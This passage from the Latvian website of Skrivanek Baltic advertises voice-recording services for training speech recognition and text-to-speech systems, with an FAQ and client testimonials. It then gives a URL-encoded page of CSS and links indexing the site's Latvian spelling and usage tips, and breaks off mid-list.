prasības. Balss ierakstu pielietošana mākslīgā intelekta apmācībai Balss ieraksti galvenokārt tiek izmantoti, lai izveidotu un uzlabotu mākslīgā intelekta risinājumus – automātiskās runas atpazīšanas sistēmas (ASR – Automatic Speech Recognition), tērzēšanas robotus jeb čatbotus, balss asistentus un tulkošanas sistēmas. Tie nodrošina efektīvāku ASR un balss asistentu apmācību. Tie ļauj sistēmām labāk atpazīt vārdus, ko runā cilvēki ar dažādiem akcentiem, un runāt dabiskāk. Kā balss ieraksti ietekmē automātiskās runas atpazīšanas (ASR) modeļus? Dažādu balss ierakstu izmantošana būtiski uzlabo runas atpazīšanas modeļu efektivitāti. Šeit ir galvenie ieguvumi: Balss daudzveidība samazina kļūdu līmeni (zemāks WER): Modeļi spēj labāk atpazīt vārdus, ko izrunā cilvēki ar dažādu akcentu, runas ātrumu, runas defektiem, kā arī dažāda vecuma un dzimuma runātāji, tādējādi nodrošinot precīzāku darbību dažādās situācijās. Sarunvalodas elementi uzlabo dabiskās valodas izpratni: Ieraksti, kuros dzirdamas pauzes, smiekli, atkārtojumi un fona trokšņi, palīdz modelim pielāgoties reālai valodas lietošanai, uzlabojot spēju saprast brīvu, ikdienišķu runu. Specifiski nozares ieraksti atvieglo nišas modeļu apmācību: Ierakstus no konkrētām jomām, piemēram, medicīnas vai tieslietu nozares, var izmantot modeļa pielāgošanai konkrētiem uzdevumiem, piemēram, pacientu medicīnisko ierakstu ātrākai izveidei vai profesionālās terminoloģijas precīzākai atpazīšanai. Kā balss ieraksti palīdz teksta pārveidošanas runā (TTS – text-to-speech) modeļiem? Dažādības principu ievērošana balss ierakstu vākšanā ir būtiska arī runas sintezatoru attīstībā. Tā sniedz vairākas priekšrocības: Dabiskāka un patīkamāka balss: Augstas kvalitātes ieraksti ar dažādām emocijām, runas tempiem un intonācijām palīdz modelim radīt dabiskāk skanošu rezultātu, kas kļūst mazāk robotisks un ausij patīkamāks. Personalizācija, pielāgojoties sarunas kontekstam: Dažādu runas stilu (piemēram, priecīgas, skumjas, neitrālas vai formālas runas) iekļaušana ļauj sintezatoram pielāgot balsi atbilstoši situācijai vai lietotāja emocionālajam stāvoklim, piemēram, klientu apkalpošanā vai virtuālo asistentu komunikācijā. Uzlabota izruna specifiskos gadījumos: Ieraksti, kuros precīzi izrunāti nestandarta vārdi, īpašvārdi, vietvārdi vai nozares žargons, palīdz sintezatoram apgūt korektu izrunu konkrētās valodu niansēs, pielāgojoties gan klienta vajadzībām, gan konkrētam darbības jomam. BUJ Mēs piedāvājam ierakstus 110 valodās, tostarp populārākajās Eiropas un Āzijas valodās, kā arī retāk lietotajās pasaules valodās. Sazinieties ar mums, un mēs sagatavosim jūsu vajadzībām pielāgotu piedāvājumu. Protams! Mēs veidojam ierakstus, kas pielāgoti jūsu vajadzībām – tempam, skaļumam, stilam un ierakstīšanas lietotnes izvēlei. Izpildes laiks ir atkarīgs no projekta apjoma un ierakstu skaita, taču parasti mēs piegādājam ierakstus dažu darba dienu laikā pēc prasību saskaņošanas. Jā! Mēs sadarbojamies ar pieredzējušiem balss aktieriem un dzimtās valodas runātājiem, kas nodrošina augstas kvalitātes izpildi. Nepieciešamības gadījumā piesaistām arī plašāku piegādātāju loku, lai pielāgotos specifiskām balss ierunāšanas prasībām – piemēram, noteiktam akcentam, vecuma grupai, emociju gammām vai runas stilam. Tas ļauj nodrošināt precīzu atbilstību projekta mērķiem un klienta gaidām. Kopsavilkums Valodu pakalpojumu sniedzējs “Skrivanek Baltic” piedāvā balss ierakstu sagatavošanu mākslīgā intelekta apmācībai. Šo pakalpojumu piedāvājam tehnoloģiju uzņēmumiem, kas izstrādā runas atpazīšanas sistēmas, tērzēšanas robotus, balss asistentus, tulkošanas sistēmas un citus līdzīgus uz mākslīgo intelektu balstītus rīkus, pētniecības iestādēm un universitātēm, kas īsteno mākslīgā intelekta projektus, uzņēmumiem, kas veido ar balss tehnoloģijām integrētas lietojumprogrammas, kā arī aģentūrām un audio studijām, kurām nepieciešami balss komplekti algoritmu testēšanai un apmācībai. Balss ierakstus pielāgojam jūsu specifikācijām – atlasām dzimtās valodas runātājus, kas atbilst vecuma, dzimuma, akcenta un stilistiskajiem kritērijiem. Ierakstīšanas laikā nodrošinām atbilstošu tempu, skaļumu, intonāciju, runas stilu un pat emocionālo izteiksmi. Ierakstu veicam, izmantojot jūsu izvēlēto lietojumprogrammu. Pakalpojumus sniedzam vairāk nekā 110 valodās. Aicinām izmantot mūsu piedāvājumu! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Aplūko pilnu mūsu sagatavoto latviešu valodas padomu sarakstu vienuviet. Meklē sev nepieciešamo un ziņo, ja gribi uzzināt vēl citus padomus. - Published: 2025-05-26 - Modified: 2025-06-27 - URL: https://skrivanek.lv/latviesu-valodas-padomu-saraksts/ - Translation Priorities: Optional %3Cstyle%3E%0A%20%20.columns%20%7B%0A%20%20%20%20display%3A%20flex%3B%0A%20%20%20%20gap%3A%201rem%3B%0A%20%20%20%20flex-wrap%3A%20nowrap%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2A%20Desktop%3A%20kolonnas%20vien%C4%81%20rind%C4%81%20%2A%2F%0A%20%20%7D%0A%0A%20%20.column%20%7B%0A%20%20%20%20flex%3A%201%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2A%20Vienm%C4%93r%C4%ABgs%20sadal%C4%ABjums%20desktop%20skat%C4%81%20%2A%2F%0A%20%20%7D%0A%0A%20%20.column%20.header%20%7B%0A%20%20%20%20background%3A%20%230072bc%3B%0A%20%20%20%20color%3A%20%23FFFFFF%3B%0A%20%20%20%20text-align%3A%20center%3B%0A%20%20%20%20font-weight%3A%20bold%3B%0A%20%20%20%20margin-bottom%3A%20.5rem%3B%0A%20%20%20%20padding%3A%20.5rem%3B%0A%20%20%20%20border-radius%3A%204px%3B%0A%20%20%7D%0A%0A%20%20.column%20ul%20%7B%0A%20%20%20%20list-style%3A%20none%3B%0A%20%20%20%20padding%3A%200%3B%0A%20%20%20%20margin%3A%200%3B%0A%20%20%7D%0A%0A%20%20.column%20li.card%20%7B%0A%20%20%20%20background%3A%20%23f9f9f9%3B%0A%20%20%20%20border-radius%3A%208px%3B%0A%20%20%20%20padding%3A%201rem%3B%0A%20%20%20%20margin-bottom%3A%201rem%3B%0A%20%20%20%20box-shadow%3A%200%202px%204px%20rgba%280%2C0%2C0%2C0.1%29%3B%0A%20%20%20%20transition%3A%20background-color%200.3s%20ease%3B%0A%20%20%20%20break-inside%3A%20avoid-column%3B%0A%20%20%20%20word-wrap%3A%20break-word%3B%0A%20%20%20%20overflow-wrap%3A%20break-word%3B%0A%20%20%20%20word-break%3A%20break-word%3B%0A%20%20%7D%0A%0A%20%20.column%20li.card%20a%20%7B%0A%20%20%20%20text-decoration%3A%20none%3B%0A%20%20%20%20font-weight%3A%20bold%3B%0A%20%20%20%20color%3A%20%23000000%3B%0A%20%20%20%20word-wrap%3A%20break-word%3B%0A%20%20%20%20overflow-wrap%3A%20break-word%3B%0A%20%20%20%20word-break%3A%20break-word%3B%0A%20%20%7D%0A%0A%20%20.column%20li.card%3Ahover%20%7B%0A%20%20%20%20background-color%3A%20%2322b24c%3B%0A%20%20%7D%0A%0A%20%20%2F%2A%20%E2%9C%85%20Mobil%C4%81%20versija%3A%20divas%20kolonnas%20blakus%20%2A%2F%0A%20%20%40media%20%28max-width%3A%20768px%29%20%7B%0A%20%20%20%20.columns%20%7B%0A%20%20%20%20%20%20flex-wrap%3A%20wrap%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20.column%20%7B%0A%20%20%20%20%20%20flex%3A%201%201%20calc%2850%25%20-%200.5rem%29%3B%20%20%2F%2A%202%20kolonnas%20ar%20atstarpi%20starp%20%2A%2F%0A%20%20%20%20%7D%0A%20%20%7D%0A%3C%2Fstyle%3E%0A%0A%0A%0A%0A%3Cdiv%20class%3D%22columns%22%3E%3C%2Fdiv%3E%0A%0A%3Cul%20id%3D%22allCards%22%20style%3D%22display%3Anone%22%3E%0A%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2F10-ballu%2F%22%3E10%20ballu%20vai%2010%20ba%C4%BC%C4%BCu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2F100-gade-pret-simtgade%2F%22%3E100-gade%20vai%20simtgade%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2F10gadigs-pret-desmitgadigs%2F%22%3E10gad%C4%ABgs%20vai%20desmitgad%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2F4100-klienti-vai-4100-klientu%2F%22%3E4100%20klienti%20vai%204100%20klientu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2F90-gadi-vai-90-tie-gadi-vai-90tie-gadi%2F%22%3E90.%20gadi%20vai%2090-tie%20gadi%2C%20vai%2090.tie%20gadi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fabizot-vai-apbizot%2F%22%3EAbi%C5%BEo%20vai%20apbi%C5%BEo%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fabonements-pret-abonoments%2F%22%3EAbonements%20vai%20abonoments%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fabsolvents-pret-apsolvents%2F%22%3EAbsolvents%20vai%20apsolvents%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fabu-dabi%2F%22%3EAbu%20Dabi%20vai%20Ab%C5%AB%20Dab%C4%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fadaptacija-pret-adoptacija%2F%22%3EAdapt%C4%81cija%20vai%20adopt%C4%81cija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fadapters-vai-adapteris%2F%22%3EAdapters%20vai%20adapteris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fadresu%2F%22%3EAdresu%20vai%20adre%C5%A1u%20gr%C4%81mata%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fadvente-pret-advents%2F%22%3EAdvente%20vai%20advents%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faicinam%2F%22%3EAicinam%20vai%20aicin%C4%81m%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faicinam-uz-skatuves-pret-aicinam-uz-skatuvi%2F%22%3EAicin%C4%81m%20uz%20skatuves%20vai%20uz%20skatuvi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faizkars-pret-aizskars%2F%22%3EAizkars%20vai%20aizskars%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faizskartas-mantas-ipasnieks-vai-aizskartais-mantas-ipasnieks%2F%22%3EAizskart%C4%81s%20vai%20aizskartais%20mantas%20%C4%ABpa%C5%A1nieks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fajurveda%2F%22%3EAj%C5%ABrv%C4%93da%20vai%20%C4%81jurv%C4%93da%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fakardions-akardeons-vai-akordeons%2F%22%3EAkardions%2C%20akardeons%20vai%20akordeons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fak-dievs-vai-ak-dievs%2F%22%3EAk%20Dievs%20vai%20%E2%80%93%20Ak%2C%20Dievs%21%20Vai%20nepiecie%C5%A1ams%20komats%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faklimatizeties-pret-atklimatizeties%2F%22%3EAklimatiz%C4%93ties%20vai%20atklimatiz%C4%93ties%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Falbums-pret-albums%2F%22%3EAlbums%20vai%20alb%C5%ABms%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpadoms-alfabets%2F%22%3EAlfabets%20vai%20alfab%C4%93ts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Falkahols-pret-alkohols%2F%22%3EAlkahols%20vai%20alkohols%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Falus-somelje-pret-alzinis-pret-aluszinis%2F%22%3EAlus%20somelj%C4%93%2C%20alzinis%20vai%20aluszinis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fananass-pret-ananass%2F%22%3EAnanass%20vai%20anan%C4%81ss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Feglem-pret-egliem%2F%22%3EAnnai%20un%20J%C4%81nim%20Egl%C4%93m%20vai%20Eg%C4%BCiem%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fannuals-pret-ikgadejs%2F%22%3EAnnu%C4%81ls%20vai%20Ikgad%C4%93js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fapakssvitra-pret-pasvitra%2F%22%3EApak%C5%A1sv%C4%ABtra%20vai%20Pasv%C4%ABtra%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faperativs-pret-aperetivs-pret-aperitivs%2F%22%3EAperat%C4%ABvs%2C%20aperet%C4%ABvs%20vai%20aperit%C4%ABvs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faplaudet-pret-applaudet%2F%22%3EAplaud%C4%93t%20vai%20applaud%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fappludinat-pret-appludinat%2F%22%3EAppl%C5%ABdin%C4%81t%20vai%20appludin%C4%81t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fappreceties-vai-apreceties%2F%22%3EApprec%C4%93ties%20vai%20aprec%C4%93ties%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faprikozu-ievarijums%2F%22%3EApriko%C5%BEu%20iev%C4%81r%C4%ABjums%20vai%20aprikozu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fapsudzamais-vai-apsudzetais%2F%22%3EAps%C5%ABdzamais%20vai%20aps%C5%ABdz%C4%93tais%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fap-vieniem-diviem-nakti%2F%22%3EAp%20vieniem%20diviem%20nakt%C4%AB%20vai%20ap%20vieniem%2C%20diviem%20nakt%C4%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fargana-ella-vai-aragana-ella-vai-argana-ella-vai-araganella%2F%22%3EArgana%20e%C4%BC%C4%BCa%20vai%20aragana%20e%C4%BC%C4%BCa%20vai%20arg%C4%81na%20e%C4%BC%C4%BCa%20vai%20arag%C4%81ne%C4%BC%C4%BCa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Farkanzasa-vai-arkanzasa%2F%22%3EArkanzasa%20vai%20%C4%80rkanzasa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Farlabunakti-ar-labunakti-vai-ar-labu-nakti%2F%22%3EArlabunakti%2C%20ar%20labunakti%20vai%20ar%20labu%20nakti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fjauku-dienu-velot-vai-jauku-dienu-velot-vai-ar-sveicieniem-vai-ar-sveicieniem%2F%22%3EAr%20sveicieniem%2C%20Skrivanek%20vai%20Ar%20sveicieniem%20Skrivanek%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Far-so-velos-darit-zinamu-vai-informeju%2F%22%3EAr%20%C5%A1o%20v%C4%93los%20dar%C4%ABt%20zin%C4%81mu%20vai%20inform%C4%93ju%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fasakas-atvilktne-un-kauli-skapi%2F%22%3EAsakas%20atvilktn%C4%93%20un%20kauli%20skap%C4%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fasistants-pret-asistents%2F%22%3EAsistants%20vai%20asistents%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatainojums-pret-attainojums%2F%22%3EAtainojums%20vai%20attainojums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatbildet-vestulei-vai-atbildet-uz-vestuli%2F%22%3EAtbild%C4%93t%20v%C4%93stulei%20vai%20atbild%C4%93t%20uz%20v%C4%93stuli%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatgriesanas-pret-atgriezsanas%2F%22%3EAtgrie%C5%A1an%C4%81s%20vai%20atgriez%C5%A1an%C4%81s%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatjaunigie-energoresursi-vai-atjaunojamie-energoresursi%2F%22%3EAtjaun%C4%ABgie%20vai%20atjaunojamie%20energoresursi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatprecot-vai-izpirkt%2F%22%3EAtpre%C4%8Dot%20vai%20izpirkt%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatskaitit-pret-izslegt%2F%22%3EAtskait%C4%ABt%20vai%20Izsl%C4%93gt%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatslegvardi-vai-atslegas-vardi%2F%22%3EAtsl%C4%93gv%C4%81rdi%20vai%20atsl%C4%93gas%20v%C4%81rdi%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fattieciba-uz-vai-par%2F%22%3EAttiec%C4%ABb%C4%81%20uz%20vai%20par%20jaun%C4%81%20dzelzce%C4%BCa%20b%C5%ABvniec%C4%ABbu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatvilkne-pret-atvilktne%2F%22%3EAtvilkne%20vai%20atvilktne%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fatzimet-pret-svinet%2F%22%3EAtz%C4%ABm%C4%93t%20vai%20svin%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faugstak-minetais-pret-ieprieks-minetais%2F%22%3EAugst%C4%81k%20min%C4%93tais%20vai%20iepriek%C5%A1%20min%C4%93tais%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Faugsti-vertet-pret-augstu-vertet%2F%22%3EAugsti%20v%C4%93rt%C4%93t%20vai%20augstu%20v%C4%93rt%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fautoritars-pret-autoritativs%2F%22%3EAutorit%C4%81rs%20vai%20autoritat%C4%ABvs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Favokado%2F%22%3EAvokado%20vai%20avok%C4%81do%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Farejs-vai-arigs%2F%22%3E%C4%80r%C4%93js%20vai%20%C4%81r%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Farkartas-vai-arkarteja-situacija%2F%22%3E%C4%80rk%C4%81rtas%20situ%C4%81cija%20vai%20%C4%81rk%C4%81rt%C4%93j%C4%81%20situ%C4%81cija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Farvalstis-pret-arzemes%2F%22%3E%C4%80rvalstis%20vai%20%C4%81rzemes%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbaldrians-pret-buldurjanis-pret-valerians%2F%22%3EBaldri%C4%81ns%2C%20buldurj%C4%81nis%20vai%20valeri%C4%81ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbalzams%2F%22%3EBalzams%20vai%20balz%C4%81ms%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbaneris-pret-banneris%2F%22%3EBaneris%20vai%20banneris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbangkoka-pret-bangoka-pret-bankoka%2F%22%3EBangkoka%2C%20Bangoka%20vai%20Bankoka%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbatereja-pret-baterija%2F%22%3EBatereja%20vai%20baterija%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbarbekju-vai-barbekju%2F%22%3EB%C4%81rbekj%C5%AB%20vai%20barbekj%C5%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbarintiesa-vai-barentiesa%2F%22%3EB%C4%81re%C5%86tiesa%20vai%20b%C4%81ri%C5%86tiesa%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbendzins-pret-benzins%2F%22%3EBendz%C4%ABns%20vai%20benz%C4%ABns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbenzintanks-vai-degvielas-uzpildes-stacija%2F%22%3E